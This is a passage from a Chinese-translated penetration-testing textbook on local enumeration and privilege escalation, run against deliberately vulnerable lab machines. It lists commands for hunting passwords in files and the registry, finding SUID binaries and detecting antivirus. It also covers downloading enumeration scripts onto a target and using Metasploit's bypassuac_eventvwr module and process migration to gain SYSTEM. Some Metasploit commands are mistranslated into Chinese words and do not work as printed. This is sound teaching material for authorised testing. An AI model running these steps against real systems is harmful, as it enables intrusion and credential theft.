设置模块选项后，我们可以使用以下命令运行该模块：

运行
如果成功，shell_to_meterpreter 模块应当发送一个新阶段并在后台启动一个 meterpreter 会话，如以下截图所示：

](Images/B17389_03_029.jpg)

图 3.29 – shell_to_meterpreter 模块成功
我们可以通过运行以下命令切换到这个会话：

sessions 2
正如在图 3.30中所示，我们已成功将命令行 shell 升级为 meterpreter 会话：

图 3.30 – Metasploitable2 meterpreter 会话

我们现在已经成功通过不同的利用向量利用了 Windows 和 Linux 主机，获得了系统的初步立足点。现在，我们准备开始特权提升过程。

总结

在本章中，我们首先了解了 Metasploit 框架的结构。接着，我们研究了如何使用Nmap和Metasploit对目标进行足迹分析和漏洞分析。最后，我们通过探讨如何利用在足迹分析中收集到的信息，通过操作系统和服务漏洞成功利用 Windows 和 Linux 主机，结束了本章的内容。

现在，我们已经学会了如何在系统上建立初步的立足点，接下来我们可以学习如何执行本地系统枚举。

在下一章中，我们将发现可以用来枚举目标系统信息的各种工具和技术，并探讨如何利用这些信息发起特权提升攻击。

第四章：进行本地枚举

现在我们已在目标系统上获得初步控制，接下来我们需要从目标系统中枚举出更多关键信息，这对权限提升过程至关重要。这些信息将用于构建、规划和协调我们的权限提升攻击，确保成功。

因此，学习如何正确且全面地从目标系统中枚举信息，以成功提升权限，是至关重要的。

在本章中，您将了解枚举过程、它为何重要以及 Windows 和 Linux 的各种本地枚举技术。接下来，您将学习如何使用自动化枚举工具来自动化这一过程。

在本章中，我们将覆盖以下主要主题：

理解枚举过程
Windows 枚举
Linux 枚举

技术要求

为了跟随本章的演示，您需要确保满足以下技术要求：

熟悉 Linux 终端命令
熟悉 Windows 命令行

请查看以下链接，观看《代码实战》视频：

bit.ly/39JFTjW

理解枚举过程

尽管你在第三章中获得了初步的系统控制，[获得访问权限（利用）]，但你对系统运行的操作系统、运行的服务、你在系统中的权限以及目标系统连接的网络几乎一无所知。这使得你处于盲目状态，无法发起权限提升攻击。这就是枚举的重要性所在。

枚举是从目标系统中提取关键信息的过程，例如操作系统版本、用户名、网络信息和已安装的程序。这些信息可以用来识别潜在的缺陷、配置错误或可以被利用的漏洞。

枚举过程可以通过计划一次抢劫的例子来类比，其中对目标的侦察和信息收集至关重要。如果没有获取足够的目标信息，这次抢劫将会因为错误而失败，几乎肯定会以失败告终。然而，如果能够认真且全面地收集目标信息，这次抢劫将会高效，因为所有相关信息都已经被收集并分析，以识别潜在的错误和问题。因此，在目标系统上执行全面的枚举工作至关重要。

本地枚举是指在初始利用后，积极从目标系统中收集信息。然后，这些信息将被用于识别通过漏洞或配置问题实现权限提升的潜在路径。

本地枚举过程是多方面的，因此可以根据所收集信息的类型进行分类：

系统枚举
用户和组枚举
网络枚举
密码枚举
防火墙和杀毒软件枚举

这种分类将有助于我们组织和结构化所收集的信息。本地枚举可以通过使用框架和脚本手动和自动执行；然而，始终推荐执行手动枚举，因为它能确保过程全面且细致地进行。

在接下来的章节中，我们将探索在 Windows 和 Linux 上手动和自动执行本地枚举的各种技术和工具。

在本章中，我们将使用在上一章中利用的以下目标虚拟机：

Metasploitable3
Windows 10
Metasploitable2
Ubuntu 20.04

使用多个操作系统版本的目的是展示并强调可以根据操作系统的版本和配置收集的各种信息。本章演示的技术适用于大多数 Windows 版本和 Linux 发行版，只有少数例外，所有这些都会被特别指出。

现在我们已经了解了枚举是什么，以及它在特权提升过程中的重要性，我们可以看看如何从 Windows 系统中枚举信息。

Windows 枚举

我们将从 Windows 上手动开始枚举过程，并按照之前列出的类别进行方法。要开始本地枚举过程，您需要确保以 shell 的形式直接访问目标系统。如果您已经按照本书中展示的示例操作，您应该已经在目标系统上建立了一个meterpreter会话。

系统枚举

系统枚举是枚举核心系统信息的过程，如操作系统的版本和服务包、操作系统的架构、正在运行的系统服务，以及已安装的补丁和热修复。

我们可以通过以下步骤开始系统枚举过程：

我们将要运行的大部分命令都是 Windows 命令提示符的本地命令，因此需要在本地 shell 会话中运行。如果您已经有了这样的会话，可以跳过此步骤。或者，如果您正在运行 meterpreter 会话，您需要按照以下截图中的步骤运行以下命令，以获取命令提示符会话：

shell

如下图所示，您应通过命令提示符在目标系统上获得一个活动的 shell，并且应该能够运行 Windows 特定的命令：

图 4.1 – Meterpreter 命令提示符
第一步是枚举操作系统信息。这可以通过运行systeminfo命令并将输出通过管道传递给findstr工具来限制输出为必要的信息。可以通过运行以下命令来完成：

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

如下截图所示，命令将输出操作系统的名称、版本和架构。这些信息可以与自动化漏洞评估工具结合使用，以确定固有的权限提升漏洞。它对于筛选特定操作系统架构的利用也非常有用。操作系统版本还对于寻找特定版本操作系统的基于内核的漏洞非常有用。

这为我们提供了足够的操作系统信息，以便缩小寻找漏洞的方法：

图 4.2 – systeminfo 命令输出
我们还可以使用systeminfo命令来确定已安装的 Windows 热修复或补丁。这可以通过运行以下命令来完成：

systeminfo

前述命令的输出如下：

图 4.3 – 安装的热修复

如前面的截图所示，输出列出了已安装的热修复的总数及其相关的 HotFix ID。这些信息有助于我们微调寻找操作系统中可能已经修复的漏洞的方法。

注意

systeminfo命令的默认输出是详细的，提供了操作系统的完整概述。
您还可以通过运行以下命令来确定系统上已安装的热修复和补丁：

wmic qfe

前述命令的输出如下截图所示：

图 4.4 – 安装的更新

如前面的截图所示，命令输出了已安装的更新或补丁，并提供了额外的信息，例如补丁安装的日期和安装的用户。

HotFixID可用于确定特定热修复的潜在漏洞和利用。

我们还可以在 Windows 10 系统上运行命令，以确定已安装的补丁以及安装的时间，如下图所示：

图 4.5 – Windows 10 安装的更新
下一条必须枚举的信息是操作系统的主机名。可以通过运行以下命令来完成：

hostname

前述命令的输出如下：

图 4.6 – 主机名

主机名用于在网络中标识系统，并可能揭示系统的角色或系统所属的人。
另一个需要枚举的重要信息是系统上附加的驱动器。我们可以通过运行以下命令来完成：

wmic logicaldisk get caption

前述命令的输出如下：

](Images/B17389_04_007.jpg)

图 4.7 – 逻辑磁盘

如前述截图所示，该命令将输出附加的驱动器列表及其标识符。在此案例中，唯一附加的磁盘是标记为C:的系统驱动器。
枚举当前正在运行的进程信息也很重要。可以通过运行以下命令来完成：

tasklist /SVC

前述命令的输出如下：

图 4.8 – 正在运行的进程

如前述截图所示，该命令将输出正在运行的进程列表及其关联的服务。它还会显示进程 ID，这对于识别特定进程非常有用。

现在，我们已经了解目标系统正在运行的内容，可以开始识别目标系统中的用户。

用户和组枚举

用户枚举是识别我们当前正在使用的用户及目标系统中存在的用户帐户的过程。此信息非常有用，因为它告诉我们是否拥有管理员权限。它还帮助我们确定并识别可以利用的潜在用户帐户，以提升我们的权限。

在 Windows 上，用户枚举过程非常简单，可以通过以下步骤进行：

首先，我们需要确定当前正在使用的用户。可以通过运行以下命令来实现：

whoami

如果你有管理员权限，你的用户名应该是nt authority，如下图所示：

](Images/B17389_04_009.jpg)

图 4.9 - whoami
我们还可以通过运行以下命令来确定我们的权限：

whoami /priv

前述命令的输出如下：

](Images/B17389_04_010.jpg)

图 4.10 – whoami 权限

如前述截图所示，这将输出已分配给我们帐户的权限，并简要描述每个权限及其当前状态。我们在第一章《权限提升简介》中简要讨论了权限，在那里我们解释了访问令牌。权限的重要性将在本书后续章节中突出，当我们探讨令牌冒充攻击时。
要确定我们的帐户所属的组，可以运行以下命令：

whoami /groups

前述命令的输出如下：

](Images/B17389_04_011.jpg)

图 4.11 – whoami groups
我们还可以通过运行以下命令枚举系统上活动的用户账户：

net user

前述命令的输出如下：

图 4.12 – net user

如前面的截图所示，该命令将输出系统上所有用户的列表。这提供了关于我们可以以横向方式升级权限的帐户的有用信息。我们还可以通过运行以下命令获取特定用户的附加信息：

net user <username>

这也有助于我们识别属于管理组并具有管理员特权的帐户，如下图所示：

图 4.13 – 用户枚举
我们还可以通过运行以下命令确定属于管理组的用户：

net localgroup administrators

前述命令的输出如下：

图 4.14 – Net localgroup

如前面的截图所示，该命令将概述属于管理组的用户。这使我们清楚地了解了我们可以针对以获取管理权限的帐户。

网络枚举

网络枚举是获取目标系统所有相关网络信息的过程，旨在确定其 IP 地址、DNS 服务器、默认网关及域控制器（如果有）。这些信息可用于绘制目标网络地图并进行逐级攻击。让我们来看看：

第一步涉及枚举目标网络接口及其详细信息。可以通过运行以下命令完成：

ipconfig /all

前述命令的输出如下：

图 4.15 – ipconfig

如前面的截图所示，这将显示关于特定网络接口的所有相关网络信息：其 IP 地址、DNS 服务器和默认网关。
下一步是分析路由表。可以通过运行以下命令完成：

route print

前述命令的输出如下：

图 4.16 – 路由表
我们还需确定正在运行的服务及其相应的端口。可以通过以下参数运行 netstat 命令完成：

netstat -ano

前述命令的输出如下：

图 4.17 – Netstat 活动连接

如前面的截图所示，该命令将显示所有活动连接及其相应的端口和进程 ID（PIDs）。

此命令还可用于识别来自其他主机的活动连接，如下图所示：

图 4.18 – Netstat 已建立连接

这些信息很重要，因为它们可能还会揭示一些以前在初始足迹阶段未被发现的内部服务，这些服务实际上是在本地运行的。

现在我们已经枚举了目标的网络信息，接下来我们将学习如何查找和枚举密码。

密码枚举

密码枚举是查找和定位本地存储密码的过程，形式包括明文存储的用户密码、包含密码的配置文件、存储在 Windows 注册表中的密码以及存储在安全帐户管理器（SAM）数据库中的 Windows 哈希值。

当我们研究自动化工具时，将更详细地探讨密码枚举，因为从注册表和 SAM 数据库手动枚举密码的过程可能会非常耗时。

在本节中，我们将使用手动技术，如字符串匹配。让我们开始吧：

我们可以利用findstr实用程序来定位文件中的特定字符串。例如，我们可以运行以下命令，在常用的文件扩展名文件中查找password字符串：

findstr /si password *.doc *.txt *.ini *.config

这对于查找用户或管理员存储的明文密码很有用，这些密码可能包含其他帐户或服务的密码。
我们还可以搜索与服务相关的特定字符串，如安全外壳（SSH）和文件传输协议（FTP）。这可以通过运行以下命令完成：

dir /s *pass* == *cred* == *ssh* == *.config*
我们可以通过运行以下查询，在注册表中搜索特定程序和软件的密码：

reg query HKLM /f password /t REG_SZ /s

这将显示包含password字符串的所有条目，位于HKEY_LOCAL_MACHINE注册表中，如下图所示。你也可以对HKEY_CURRENT_USER注册表运行相同的查询。这可以通过运行以下命令完成：

reg query HKCU /f password /t REG_SZ /s

上述命令的输出如下：

图 4.19 – Windows 注册表中的密码枚举

我们还可以在配置文件和特定程序（如 PuTTY 或 VNC）的会话信息中搜索密码。可以通过运行以下命令并指定程序的默认注册表目录来完成此操作：

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions<User>"

在这种情况下，查询将显示为查询中指定用户的 PuTTY 会话详细信息。

注意

用户 Simon Tatham 在 HKCU\Software\SimonTatham\PuTTY\Sessions\<User> 注册表目录中引用了 PuTTY 程序的开发者。

现在我们已经了解如何使用手动查询技术从 Windows 中枚举密码，我们需要识别并列出当前在系统上启用的安全功能。

防火墙和杀毒软件枚举

为了成功提升我们的权限并保持系统上的持久性，我们需要了解可能妨碍该过程的安全措施和系统。Windows 系统中最常见的两种安全防范措施是 Windows 防火墙和 Windows Defender，尽管其他第三方杀毒软件也可能提供帮助。

在渗透测试中，能够检测和规避防火墙和杀毒软件解决方案是非常重要的。因为权限提升过程涉及主动与目标交互，并在目标系统之间传输文件。防火墙和杀毒软件可能会妨碍该过程，并可能向安全团队或管理员发出潜在违规的警报。因此，枚举有关防火墙状态和规则以及现有的杀毒软件解决方案的信息是非常重要的。让我们来看一下：

首先，在复制任何文件之前，您需要确定 Windows Defender 的状态。这可以通过使用服务控制命令来完成：

sc query windefend

由于 Metasploitable3 虚拟机的设计故意存在漏洞，因此 Windows Defender 没有启用，因此我们必须使系统处于易受攻击和未受保护的状态，如下图所示：

](Images/B17389_04_020.jpg)

图 4.20 – 禁用 Windows Defender

如果 Windows Defender 已启用并处于活动状态，您应得到类似以下的输出：

图 4.21 – 启用并运行 Windows Defender
要识别第三方杀毒软件解决方案，您可以列出系统上正在运行的服务。这可以通过运行以下命令来完成：

sc queryex type=service

如果有第三方杀毒软件正在运行，您应该通过分析服务名称来识别它，如下图所示。在这里，我已经能够检测到一个与 Windows Defender 一同运行的第二个第三方杀毒程序：

图 4.22 – 第三方 A/V
我们还需要枚举有关防火墙状态和配置的信息。这将帮助我们检测开放的端口，并可以利用这些端口进行进一步攻击。可以通过运行以下命令来完成：

netsh firewall show state

上述命令的输出如下：

](Images/B17389_04_023.jpg)

图 4.23 – 防火墙状态

如前面的截图所示，命令将输出防火墙的操作模式、配置文件和开放端口。这使我们清楚地了解从网络角度来看我们能做什么和不能做什么。

我们现在应该清楚地了解目标系统正在运行的内容以及其配置情况。现在，让我们学习如何使用各种自动化工具来简化枚举过程。

自动化枚举工具

自动化枚举提供了一种更具针对性和高效的方法，用于从目标系统收集信息，并由此进行分析。使用自动化枚举工具的主要目标是能够理解和上下文化收集到的信息，并基于这些信息提供建议。

有许多用于 Windows 的自动化枚举工具。然而，我们只会关注那些高概率有效且不需要额外依赖或访问特定工具的工具。

本地漏洞建议工具

本地漏洞建议工具是 Metasploit 的一个后期利用模块，用于根据操作系统信息扫描目标是否存在潜在的漏洞。它自动化了系统信息的枚举过程，并根据操作系统的版本和已安装的补丁提供漏洞建议。让我们来看看：

要使用该模块，您需要在目标系统上获得meterpreter访问权限，然后将meterpreter会话移到后台并加载local_exploit_suggester模块。这可以通过运行以下命令来完成：

use post/multi/recon/local_exploit_suggester
现在，您需要配置模块选项。我们需要设置的唯一选项是会话号，如下图所示。这可以通过运行以下命令来完成：

set SESSION <会话编号>

上述命令的输出如下：

图 4.24 – 本地漏洞建议工具
配置完选项后，您可以运行该模块。此时，模块将开始枚举过程，并在几分钟后输出结果，如下图所示：

图 4.25 – 本地漏洞建议工具结果

模块的输出将显示各种漏洞模块，其中大多数是可以用于攻击目标的内核漏洞。我们将在下一节探讨这一点。

Windows 漏洞建议工具

Windows 漏洞建议工具是一个用 Python 开发的开源工具，它允许您扫描 Windows 操作系统中的潜在漏洞。它还提供相应的漏洞或漏洞模块。

它通过将 Windows 补丁级别与 Microsoft 漏洞数据库进行比较，来检测系统中的漏洞。它的工作原理是通过识别系统中缺失的补丁来实现这一点。

它不需要在目标系统上本地运行，只需要目标系统上 systeminfo 命令的输出。我们开始吧：

第一步是克隆 github.com/AonCyberLabs/Windows-Exploit-Suggester 上的仓库到我们的 Kali 虚拟机。这可以通过运行以下命令来完成：

git clone https://github.com/AonCyberLabs/Windows-Exploit-Suggester.git

该工具需要 Python2 才能工作，因为它使用了多个 Python2 模块。

注意

Python2 从 2020 年 1 月 1 日开始已被废弃。这意味着您可能会遇到旧版工具和框架的依赖问题。
克隆仓库后，您需要安装所需的依赖项。可以通过运行以下命令来完成：

sudo apt-get install python-xlrd

pip install xlrd --upgrade
安装完依赖项后，您需要通过运行脚本并使用以下标志来更新数据库：

./windows-exploit-suggester.py –update

输出如以下截图所示：

图 4.26 – Windows Exploit Suggester 更新

请注意数据库的文件名，如下图所示，它将在扫描阶段中使用：

图 4.27 – Windows Exploit Suggester 数据库文件
下一步是通过运行 systeminfo 命令来枚举目标系统信息，之后需要将该命令的输出复制并粘贴到 .txt 文件中。
在保存 systeminfo 命令的输出到 .txt 文件后，您可以运行脚本来检查漏洞，如下所示：

./windows-exploit-suggester.py --database <database-file>.xlsx --systeminfo <systeminfo-output>.txt

此命令的输出如下：

图 4.28 – Windows Exploit Suggester 输出

如前面的截图所示，脚本将执行扫描，并输出所有潜在漏洞及相关信息的列表，例如 POC 参考和可在 exploit-db 或 GitHub 上找到的利用代码或模块。

这些信息将在下一章中派上用场，当我们探索 Windows 上的内核利用时。

其他枚举工具

如我们在本节前面所提到的，许多自动化枚举工具已经存在，并且可以提供额外的功能和信息，大多数我们将在本书后面探讨。

以下是一些适用于 Windows 的有用枚举工具和框架列表：

Windows 特权提升超级脚本 (winPEAS): github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe
Sherlock: github.com/rasta-mouse/Sherlock
Just Another Windows Enumeration Script** (JAWS**): github.com/411Hall/JAWS
Watson: github.com/rasta-mouse/Watson

现在我们知道如何在 Windows 上执行本地枚举，我们将学习如何在 Linux 上执行本地枚举。

Linux 枚举

在 Linux 上进行本地枚举与在 Windows 上类似，涉及使用手动技术和工具来枚举重要信息。在本节中，我们将探索一些帮助简化和流线化枚举过程的自动化工具。

注意

包管理器根据不同的 Linux 发行版会有所不同。接下来的章节将指出并强调这一点。

系统枚举

系统枚举是枚举核心系统信息的过程，例如操作系统版本、内核版本、操作系统架构和正在运行的服务。

我们可以通过以下步骤执行系统枚举：

我们需要枚举的第一项信息是操作系统的信息。可以通过运行以下命令来完成：

cat /etc/*-release

你还可以使用 Linux Standard Base** (LSB**) 信息。可以通过运行以下命令来完成：

lsb_release -a

如果这些命令无效，你可以使用 hostname systemd 实用程序，运行以下命令：

hostnamectl
你还需要知道内核版本和操作系统架构。这将有助于确定漏洞并寻找内核漏洞。可以通过运行以下命令来完成：

uname -a

前述命令的输出如下：

图 4.29 – Linux 内核版本

如前面的截图所示，命令将输出内核版本和系统架构。
你还需要识别作为 root 用户运行的进程。这很有用，因为你可以利用这些进程作为 root 用户执行任意命令。可以通过运行以下命令来完成：

ps aux | grep root

如下截图所示，这将列出所有作为 root 用户运行的进程：

图 4.30 – Linux 服务运行情况
Linux 上的另一个潜在特权提升访问向量是已安装的程序和软件。我们可以通过列出以下目录的内容来确定系统上已安装的软件：

a) /usr/local

b) /usr/local/bin

c) /opt/

d) /var

e) /usr/src

你可以通过运行以下命令列出 Debian 系统上已安装的包：

dpkg -l

如果目标系统运行的是 RHEL 或 Fedora，可以通过运行以下命令列出已安装的软件：

rpm -qa

现在我们已经枚举了操作系统版本和内核版本的信息，接下来我们将学习如何在 Linux 上枚举用户和组信息。
我们还可以枚举 cron 中的信息，确定哪些 cron 作业正在运行，以及是否可以利用这些作业来执行命令或二进制文件。可以通过运行以下命令来完成：

crontab -l

ls -al /var/spool/cron

ls -al /etc/ | grep cron

ls -al /etc/cron*

cat /etc/cron*

cat /etc/at.allow

cat /etc/at.deny

cat /etc/cron.allow

cat /etc/cron.deny

cat /etc/crontab

cat /etc/anacrontab

cat /var/spool/cron/crontabs/root

现在我们已经清楚了解目标系统上正在运行的内容，可以开始枚举用户和组信息了。

用户和组枚举

用户枚举是确定我们当前使用的用户以及目标系统上所有用户账户的过程。这些信息很有用，因为它告诉我们是否拥有管理员权限。它还帮助我们确定和识别潜在的用户账户，以便提升我们的权限。

在 Linux 上，用户枚举过程相当直接，可以按照以下步骤进行：

首先，我们需要确定当前正在使用的用户。可以通过运行以下命令来完成：

whoami

上述命令的输出如下：

图 4.31 – whoami Linux

如果你有管理员权限，你的用户名应该是root，如前面的截图所示。

你还可以通过运行以下命令枚举系统中的其他用户账户：

cat /etc/passwd
为了确定我们账户所属的组，可以运行以下命令：

groups <username>

上述命令的输出如下：

](Images/B17389_04_032.jpg)

图 4.32 – Linux 组

你还可以通过运行以下命令列出系统中的组：

cat /etc/group
你可以搜索可以被利用的 SUID 二进制文件，并用 root 权限运行这些文件来执行任意命令。可以通过运行以下命令来完成：

find / -perm -u=s -type f 2>/dev/null

现在，让我们学习如何从目标系统枚举网络信息。

网络枚举

网络枚举是从目标系统中获取所有相关网络信息的过程，目的是确定其 IP 地址、DNS 服务器、默认网关以及域控制器（如果有的话）。这些信息可以用来绘制目标网络图并进行跨网络攻击。我们来看一下：

第一部是枚举目标网络接口及其详细信息。可以通过运行以下命令来完成：

ifconfig

上述命令的输出如下：

图 4.33 – ifconfig
下一步是分析路由表。可以通过运行以下命令来完成：

route

上述命令的输出如下：

](Images/B17389_04_034.jpg)

图 4.34 – Linux 路由表
我们还需要确定运行的服务及其各自的端口。可以通过运行带有以下参数的netstat命令来完成：

netstat -ant

上述命令的输出如下：

图 4.35 – Netstat 活动连接

如上图所示，命令将显示所有活动连接及其相应端口。

这些信息很重要，因为它们可能揭示出以前在初步足迹收集阶段未被发现的、在本地运行的内部服务。

我们现在应该清楚了解目标系统正在运行什么，以及它是如何配置的。现在，让我们学习如何使用各种自动化工具来简化枚举过程。

自动化枚举工具

目前有很多用于 Linux 的自动化枚举工具。本节将重点介绍那些能为我们提供有意义且可操作信息的工具。

LinEnum

LinEnum 是一个 bash 脚本，自动化了 Linux 上的本地枚举过程，提供全面的信息，帮助指定所需的信息，并能够生成报告。

您可以在github.com/rebootuser/LinEnum了解更多关于该脚本的信息。我们开始吧：

要使用该工具，我们需要从 GitHub 下载 bash 脚本并将其传输到目标系统。如果目标系统可以访问互联网，我们可以直接通过运行以下命令下载脚本：

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
如果目标系统阻止任何传入连接，我们可以通过meterpreter从本地系统上传脚本到目标，如下图所示：

图 4.36 – LinEnum 下载
然后，我们可以使用以下参数执行脚本：

./LinEnum.sh -t -r <report-name>

这将枚举所有相关信息，并显示可能被利用的有用漏洞，如下图所示：

图 4.37 – LinEnum 结果
我们还可以使用关键词功能来枚举系统上的密码。可以通过运行以下命令来实现：

./LinEnum.sh -k password

现在，让我们学习如何枚举目标系统上的潜在漏洞。

Linux Exploit Suggester

Linux Exploit Suggester 是一个开源 Shell 脚本，允许您扫描 Linux 系统中的潜在内核漏洞，并提供相应的漏洞利用或漏洞利用模块。让我们开始吧：

脚本需要在目标系统上本地运行。首先，我们需要将脚本下载到目标系统。这可以通过wget命令完成，如下所示：

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
在将脚本下载到目标系统后，您需要确保该脚本具有可执行权限。可以通过运行以下命令来完成此操作：

chmod +x les.sh
现在，您可以运行脚本以开始扫描过程，之后脚本将输出潜在漏洞的列表以及相应的 POC 和漏洞利用方法。

现在您已经掌握了如何使用各种枚举工具，让我们来探讨一些其他的自动化枚举工具，它们也可以被使用。

其他枚举工具

正如我们在本节前面提到的，存在许多自动化枚举工具，可以提供额外的功能和信息，其中大多数我们将在本书后面进行探讨。

以下是一些适用于 Linux 的有用枚举工具和框架：

Linux Smart Enumeration: github.com/diego-treitos/linux-smart-enumeration
Linux Priv Checker – linuxprivchecker.py: 一个用于 Linux 权限提升检查的脚本
权限提升脚本: github.com/carlospolop/privilege-escalation-awesome-scripts-suite
LinEnum: github.com/rebootuser/LinEnum

通过这些内容，我们已经学会了如何从 Windows 和 Linux 系统中枚举信息。现在，我们已经准备好利用这些信息来进行权限提升攻击。

总结

本章中，我们首先了解了枚举过程。然后，我们学习了如何在 Windows 上手动和自动执行本地枚举。最后，我们学习了如何在 Linux 上执行本地枚举。

现在我们已经学会了如何在 Windows 和 Linux 上执行本地枚举，可以开始权限提升过程了。

在下一章中，我们将通过使用内核漏洞开始 Windows 上的权限提升过程。

第二部分：Windows 特权提升

本节将涵盖 Windows 系统的特权提升过程。通过多种特权提升攻击向量、技术和工具，您将能够在目标系统上提升权限。

本节包括以下章节：

第五章, Windows 内核漏洞利用
第六章, 模拟攻击
第七章, Windows 密码挖掘
第八章, 服务利用
第九章, 通过 Windows 注册表进行特权提升

第五章：Windows 内核漏洞

现在，我们已经学会了如何枚举目标系统中的重要信息，并识别潜在的权限提升攻击途径，我们可以开始在 Windows 上进行权限提升。我们将探索的第一个权限提升攻击途径是内核漏洞利用。

在本章中，你将学习如何手动和自动地识别、转移和利用 Windows 系统上的内核漏洞。

你将学习内核是如何工作的，以及如何利用内核漏洞提升在目标系统上的权限。这是权限提升过程中的一个关键部分，因为内核漏洞为在目标系统上提升权限提供了一条直接的途径。

在本章中，我们将覆盖以下主要主题：

理解内核漏洞
使用 Metasploit 进行内核漏洞利用
手动内核漏洞利用

技术要求

要跟随本章的演示，你需要确保你熟悉 Windows CMD 命令。

你可以在这里查看本章的代码演示：bit.ly/3m7qa47

理解内核漏洞

在我们开始利用 Windows 上的各种内核漏洞之前，理解内核是什么，它是如何设置和配置的，至关重要。

这将帮助你更清楚地了解内核是如何以及为何被利用，以及它们如何被用来提升 Windows 系统上的权限。

让我们从理解内核是什么以及它在操作系统中所执行的功能开始。

什么是内核？

内核是一个计算机程序，是操作系统的核心，拥有对系统中每一个资源和硬件的完全控制。它充当硬件和软件之间的翻译层，并促进这两者之间的通信。

内核在系统内存中运行，并在系统启动过程中，紧接着引导程序后加载，负责处理操作系统的其余启动过程。

内核负责执行以下主要功能：

内存管理：内核负责读取、写入、分配和回收系统内存。
设备管理：内核负责管理和促进硬件外设与操作系统之间的 I/O 操作。
I/O 管理：内核负责促进和管理系统资源之间的 I/O 操作，如 CPU 和系统内存。
资源管理：内核负责管理各种程序和进程之间的内存分配和共享。

如下图所示，内核充当硬件和软件之间的中介，促进并翻译它们之间的交互：

图 5.1 – 内核结构

现在我们已经清楚了解了什么是内核、它的功能以及在操作系统中的作用，我们可以清楚地看到，内核中的漏洞可能被利用，进而导致对系统的特权访问和控制。正因如此，攻击者在特权升级过程中看重内核漏洞利用，因为它们提供了一个简单的路径来提升权限。

然而需要注意的是，内核漏洞利用可能不稳定，并可能导致系统崩溃，因此需要谨慎操作。这主要是因为内核漏洞利用会针对内核及其功能，进而干扰操作系统的核心操作。因此，由内核漏洞引发的系统崩溃可能导致数据丢失，并损坏整个操作系统，在渗透测试过程中可能成为一种风险。

让我们简要了解一下 Windows 内核及其结构，以便理解它是如何工作的。

Windows NT

Windows NT 是所有版本的 Microsoft Windows 自带的内核，像传统内核一样运行，但基于用户设计理念有所不同。它由两种主要的操作模式组成，这些模式决定了对系统资源和硬件的访问：

用户模式：在用户模式下运行的程序和服务只能有限地访问系统资源和功能。
内核模式：内核模式对系统资源和功能拥有无限制的访问权限，还具备管理设备和系统内存的功能。

如下图所示，主要有两种操作模式，用于隔离对资源和硬件的访问：

图 5.2 – Windows 内核结构

用户模式包括与内核通过 Windows API 通信的系统定义进程。运行在用户模式中的进程还可以通过向内核模式设备驱动程序发送 I/O 请求与设备通信，如图 5.2所示。

内核模式可以访问所有设备和系统资源，并且负责防止用户模式服务与其无权访问的功能进行交互和访问。

现在我们已经了解了 Windows 内核的功能和结构，我们可以开始深入探讨 Windows 内核漏洞利用过程。

Windows 内核漏洞利用过程

Windows 操作系统容易受到各种攻击，可能导致漏洞利用或特权升级。我们已经在上一章中探讨了如何识别这些漏洞及其相应的漏洞利用。在本章中，我们将重点讨论如何正确识别和利用未打补丁的脆弱 Windows 系统来提升我们的特权。

该过程将采取双管齐下的方法，包括手动和自动利用内核漏洞的过程。

在 Windows 上的内核利用通常会针对 Windows 内核中的漏洞，执行任意代码以运行特权系统命令或获得系统 shell。这个过程会根据目标 Windows 版本以及使用的内核漏洞而有所不同。

本章中，我们将在虚拟黑客实验室中使用 Windows 7 SP1 目标虚拟机。

现在，我们可以开始使用 Metasploit 框架进行内核利用。这将使我们能够自动化识别和利用 Windows 内核漏洞的过程。

使用 Metasploit 进行内核利用

我们可以通过了解如何使用内核漏洞与 Metasploit 框架结合，来开始内核利用过程。Metasploit 框架将提供一种自动化和模块化的解决方案，并简化利用过程。

对于本节，目标系统将是 Windows SP1 虚拟机。作为前提，确保您已经在系统上获取了初始控制并拥有 Meterpreter 会话：

第一步是扫描目标以查找潜在的漏洞。我们将使用 local_exploit_suggester 模块。此过程在上一章中已经深入讲解过。
我们可以通过运行以下命令在 Metasploit 中加载该模块：

使用 post/multi/recon/local_exploit_suggester
加载模块后，您需要为该模块设置 SESSION 选项。SESSION 选项需要您的 Meterpreter 会话的会话 ID。可以通过运行以下命令来完成此操作：

设置 SESSION

如下图所示，SESSION 选项应反映您设置的会话 ID：

图 5.3 – local_exploit_suggester 选项
配置模块选项后，我们可以通过运行以下命令来运行该模块：

运行

这将开始扫描过程。在此过程中，模块将开始输出目标可能存在的各种漏洞，如下图所示：

图 5.4 – local_exploit_suggester 结果
我们可以开始测试 local_exploit_suggester 推荐的各种漏洞模块。输出列表中的前几个模块通常更有可能成功。我们可以通过加载列表中的第一个模块来进行测试，正如图 5.4中所示。可以通过运行以下命令来完成此操作：

使用 /exploit/windows/local/bypassuac_eventvwr

这个内核漏洞利用模块将绕过 用户访问控制(UAC)，并在 Windows 注册表中插入一个命令，该命令将在启动 Windows 事件查看器时执行，并将启动一个系统 shell——在这种情况下，是一个 Meterpreter 会话。

注意

该漏洞利用并未利用内核中的漏洞，而是通过与 Windows 注册表的交互并在其中存储命令来实现。

关于该漏洞利用模块的更多信息，请参见：www.rapid7.com/db/modules/exploit/windows/local/bypassuac_eventvwr/.
加载模块后，您需要设置模块选项，包括 Meterpreter 会话 ID 和新 Meterpreter 会话的有效载荷选项，如下图所示：

图 5.5 – 内核漏洞利用模块选项
我们现在可以通过运行以下命令来执行内核漏洞利用模块：

exploit

在这种情况下，漏洞利用是成功的，如下所示的截图所示。结果，我们将获得一个具有提升权限的 Meterpreter 会话：

](Images/B17389_05_006.jpg)

图 5.6 – 漏洞利用成功
我们现在可以通过运行以下命令枚举系统上的权限：

getuid

输出如下所示：

](Images/B17389_05_007.jpg)

图 5.7 – Meterpreter 权限

如前所示的截图所示，我们尚未获得提升的权限，但我们可以通过运行以下命令列出当前 Meterpreter 会话中的权限：

getprivs

输出如下所示：

](Images/B17389_05_008.jpg)

图 5.8 – Meterpreter 权限

如前所示的截图所示，这个 Meterpreter 会话具有管理员权限，我们可以迁移到 NT AUTHORITY/SYSTEM 进程。
我们可以通过运行以下命令枚举正在运行的进程：

ps

此命令将输出正在运行的进程列表、各自的进程 ID 和进程所有者，如下所示：

图 5.9 – Meterpreter 进程
我们可以迁移到 winlogon.exe 进程，因为该进程由 NT AUTHORITY/SYSTEM 用户拥有。可以通过运行以下命令来实现：

migrate <PID>

成功迁移后，我们可以通过在系统 shell 中运行 getuid 命令或 whoami 命令来重新检查我们的权限：

图 5.10 – 权限提升成功

如前所示的截图所示，我们已成功提升了权限，可以运行系统命令并访问系统上的任何资源。

